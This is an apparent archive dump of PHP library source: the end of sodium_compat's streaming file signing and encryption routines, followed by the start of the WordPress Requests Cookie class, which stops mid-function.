        $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_encrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }


    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_decrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }

    /**
     * Encrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }

        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * @param ParagonIE_Sodium_Core_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify(
        ParagonIE_Sodium_Core_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * Update a hash context with the contents of a file, without
     * loading the entire file into memory.
     *
     * @param resource|HashContext $hash
     * @param resource $fp
     * @param int $size
     * @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     *                 PHP 7.2 changes from a resource to an object,
     *                 which causes Psalm to complain about an error.
     * @psalm-suppress TypeCoercion
     *                 Ditto.
     */
    public static function updateHashWithFile($hash, $fp, $size = 0)
    {
        /* Type checks: */
        if (PHP_VERSION_ID < 70200) {
            if (!is_resource($hash)) {
                throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.');
            }
        } else {
            if (!is_object($hash)) {
                throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.');
            }
        }

        if (!is_resource($fp)) {
            throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.');
        }
        if (!is_int($size)) {
            throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.');
        }

        /** @var int $originalPosition */
        $originalPosition = self::ftell($fp);

        // Move file pointer to beginning of file
        fseek($fp, 0, SEEK_SET);
        for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) {
            /** @var string|bool $message */
            $message = fread(
                $fp,
                ($size - $i) > self::BUFFER_SIZE
                    ? $size - $i
                    : self::BUFFER_SIZE
            );
            if (!is_string($message)) {
                throw new SodiumException('Unexpected error reading from file.');
            }
            /** @var string $message */
            /** @psalm-suppress InvalidArgument */
            self::hash_update($hash, $message);
        }
        // Reset file pointer's position
        fseek($fp, $originalPosition, SEEK_SET);
        return $hash;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result. (32-bit)
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    private static function sign_core32($filePath, $secretKey)
    {
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $nonceHash = hash_final($hs, true);
        $pk = self::substr($secretKey, 32, 32);
        $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $hramHash = hash_final($hs, true);

        $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);

        $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     *
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result. (32-bit)
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws Exception
     */
    public static function verify_core32($sig, $filePath, $publicKey)
    {
        /* Security checks */
        if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }

        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        /** @var resource $fp */

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * Encrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * One-time message authentication for 32-bit systems
     *
     * @param ParagonIE_Sodium_Core32_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify_core32(
        ParagonIE_Sodium_Core32_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
        }
        $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * @param resource $resource
     * @return int
     * @throws SodiumException
     */
    private static function ftell($resource)
    {
        $return = ftell($resource);
        if (!is_int($return)) {
            throw new SodiumException('ftell() returned false');
        }
        return (int) $return;
    }
}
Cookie.php000064400000036035151024327070006476 0ustar00<?php
/**
 * Cookie storage object
 *
 * @package Requests\Cookies
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Response\Headers;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Cookie storage object
 *
 * @package Requests\Cookies
 */
class Cookie {
	/**
	 * Cookie name.
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Cookie value.
	 *
	 * @var string
	 */
	public $value;

	/**
	 * Cookie attributes
	 *
	 * Valid keys are `'path'`, `'domain'`, `'expires'`, `'max-age'`, `'secure'` and
	 * `'httponly'`.
	 *
	 * @var \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array Array-like object
	 */
	public $attributes = [];

	/**
	 * Cookie flags
	 *
	 * Valid keys are `'creation'`, `'last-access'`, `'persistent'` and `'host-only'`.
	 *
	 * @var array
	 */
	public $flags = [];

	/**
	 * Reference time for relative calculations
	 *
	 * This is used in place of `time()` when calculating Max-Age expiration and
	 * checking time validity.
	 *
	 * @var int
	 */
	public $reference_time = 0;

	/**
	 * Create a new cookie object
	 *
	 * @param string                                                  $name           The name of the cookie.
	 * @param string                                                  $value          The value for the cookie.
	 * @param array|\WpOrg\Requests\Utility\CaseInsensitiveDictionary $attributes Associative array of attribute data
	 * @param array                                                   $flags          The flags for the cookie.
	 *                                                                                Valid keys are `'creation'`, `'last-access'`,
	 *                                                                                `'persistent'` and `'host-only'`.
	 * @param int|null                                                $reference_time Reference time for relative calculations.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $value argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $attributes argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $flags argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $reference_time argument is not an integer or null.
	 */
	public function __construct($name, $value, $attributes = [], $flags = [], $reference_time = null) {
		if (is_string($name) === false) {
			throw InvalidArgument::create(1, '$name', 'string', gettype($name));
		}

		if (is_string($value) === false) {
			throw InvalidArgument::create(2, '$value', 'string', gettype($value));
		}

		if (InputValidator::has_array_access($attributes) === false || InputValidator::is_iterable($attributes) === false) {
			throw InvalidArgument::create(3, '$attributes', 'array|ArrayAccess&Traversable', gettype($attributes));
		}

		if (is_array($flags) === false) {
			throw InvalidArgument::create(4, '$flags', 'array', gettype($flags));
		}

		if ($reference_time !== null && is_int($reference_time) === false) {
			throw InvalidArgument::create(5, '$reference_time', 'integer|null', gettype($reference_time));
		}

		$this->name       = $name;
		$this->value      = $value;
		$this->attributes = $attributes;
		$default_flags    = [
			'creation'    => time(),
			'last-access' => time(),
			'persistent'  => false,
			'host-only'   => true,
		];
		$this->flags      = array_merge($default_flags, $flags);

		$this->reference_time = time();
		if ($reference_time !== null) {
			$this->reference_time = $reference_time;
		}

		$this->normalize();
	}

	/**
	 * Get the cookie value
	 *
	 * Attributes and other data can be accessed via methods.
	 */
	public function __toString() {
		return $this->value;
	}

	/**
	 * Check if a cookie is expired.
	 *
	 * Checks the age against $this->reference_time to determine if the cookie
	 * is expired.
	 *
	 * @return boolean True if expired, false if time is valid.
	 */
	public function is_expired() {
		// RFC6265, s. 4.1.2.2:
		// If a cookie has both the Max-Age and the Expires attribute, the Max-
		// Age attribute has precedence and controls the expiration date of the
		// cookie.
		if (isset($this->attributes['max-age'])) {
			$max_age = $this->attributes['max-age'];
			return $max_age < $this->reference_time;
		}

		if (isset($this->attributes['expires'])) {
			$expires = $this->attributes['expires'];
			return $expires < $this->reference_time;
		}

		return false;
	}

	/**
	 * Check if a cookie is valid for a given URI
	 *
	 * @param \WpOrg\Requests\Iri $uri URI to check
	 * @return boolean Whether the cookie is valid for the given URI
	 */
	public function uri_matches(Iri $uri) {
		if (!$this->domain_matches($uri->host)) {
			return false;
		}

		if (!$this->path_matches($uri->path)) {
			return false;
		}

		return empty($this->attributes['secure']) || $uri->scheme === 'https';
	}

	/**
	 * Check if a cookie is valid for a given domain
	 *
	 * @param string $domain Domain to check
	 * @return boolean Whether the cookie is valid for the given domain
	 */
	public function domain_matches($domain) {
		if (is_string($domain) === false) {
			return false;
		}

		if (!isset($this->attributes['domain'])) {
			// Cookies created manually; cookies created by Requests will set
			// the domain to the requested domain
			return true;
		}

		$cookie_domain = $this->attributes['domain'];
		if ($cookie_domain === $domain) {
			// The cookie domain and the passed domain are identical.
			return true;
		}

		// If the cookie is marked as host-only and we don't have an exact
		// match, reject the cookie
		if ($this->flags['host-only'] === true) {
			return false;
		}

		if (strlen($domain) <= strlen($cookie_domain)) {
			// For obvious reasons, the cookie domain cannot be a suffix if the passed domain
			// is shorter than the cookie domain
			return false;
		}

		if (substr($domain, -1 * strlen($cookie_domain)) !== $cookie_domain) {
			// The cookie domain should be a suffix of the passed domain.
			return false;
		}

		$prefix = substr($domain, 0, strlen($domain) - strlen($cookie_domain));
		if (substr($prefix, -1) !== '.') {
			// The last character of the passed domain that is not included in the
			// domain string should be a %x2E (".") character.
			return false;
		}

		// The passed domain should be a host name (i.e., not an IP address).
		return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $domain);
	}

	/**
	 * Check if a cookie is valid for a given path
	 *
	 * From the path-match check in RFC 6265 section 5.1.4
	 *
	 * @param string $request_path Path to check
	 * @return boolean Whether the cookie is valid for the given path
	 */
	public function path_matches($request_path) {
		if (empty($request_path)) {
			// Normalize empty path to root
			$request_path = '/';
		}

		if (!isset($this->attributes['path'])) {
			// Cookies created manually; cookies created by Requests will set
			// the path to the requested path
			return true;
		}

		if (is_scalar($request_path) === false) {
			return false;
		}

		$cookie_path = $this->attributes['path'];

		if ($cookie_path === $request_path) {
			// The cookie-path and the request-path are identical.
			return true;
		}

		if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) {
			if (substr($cookie_path, -1) === '/') {
				// The cookie-path is a prefix of the request-path, and the last
				// character of the cookie-path is %x2F ("/").
				return true;
			}

			if (substr($request_path, strlen($cookie_path), 1) === '/') {
				// The cookie-path is a prefix of the request-path, and the
				// first character of the request-path that is not included in
				// the cookie-path is a %x2F ("/") character.
				return true;
			}
		}

		return false;
	}

	/**
	 * Normalize cookie and attributes
	 *
	 * @return boolean Whether the cookie was successfully normalized
	 */
	public function normalize() {
		foreach ($this->attributes as $key => $value) {
			$orig_value = $value;

			if (is_string($key)) {
				$value = $this->normalize_attribute($key, $value);
			}

			if ($value === null) {
				unset($this->attributes[$key]);
				continue;
			}

			if ($value !== $orig_value) {
				$this->attributes[$key] = $value;
			}
		}

		return true;
	}

	/**
	 * Parse an individual cookie attribute
	 *
	 * Handles parsing individual attributes from the cookie values.
	 *
	 * @param string $name Attribute name
	 * @param string|int|bool $value Attribute value (string/integer value, or true if empty/flag)
	 * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped)
	 */
	protected function normalize_attribute($name, $value) {
		switch (strtolower($name)) {
			case 'expires':
				// Expiration parsing, as per RFC 6265 section 5.2.1
				if (is_int($value)) {
					return $value;
				}

				$expiry_time = strtotime($value);
				if ($expiry_time === false) {
					return null;
				}

				return $expiry_time;

			case 'max-age':
				// Expiration parsing, as per RFC 6265 section 5.2.2
				if (is_int($value)) {
					return $value;
				}

				// Check that we have a valid age
				if (!preg_match('/^-?\d+$/', $value)) {
					return null;
				}

				$delta_seconds = (int) $value;
				if ($delta_seconds <= 0) {
					$expiry_time = 0;
				} else {
					$expiry_time = $this->reference_time + $delta_seconds;
				}

				return $expiry_time;

			case 'domain':
				// Domains are not required as per RFC 6265 section 5.2.3
				if (empty($value)) {
					return null;
				}

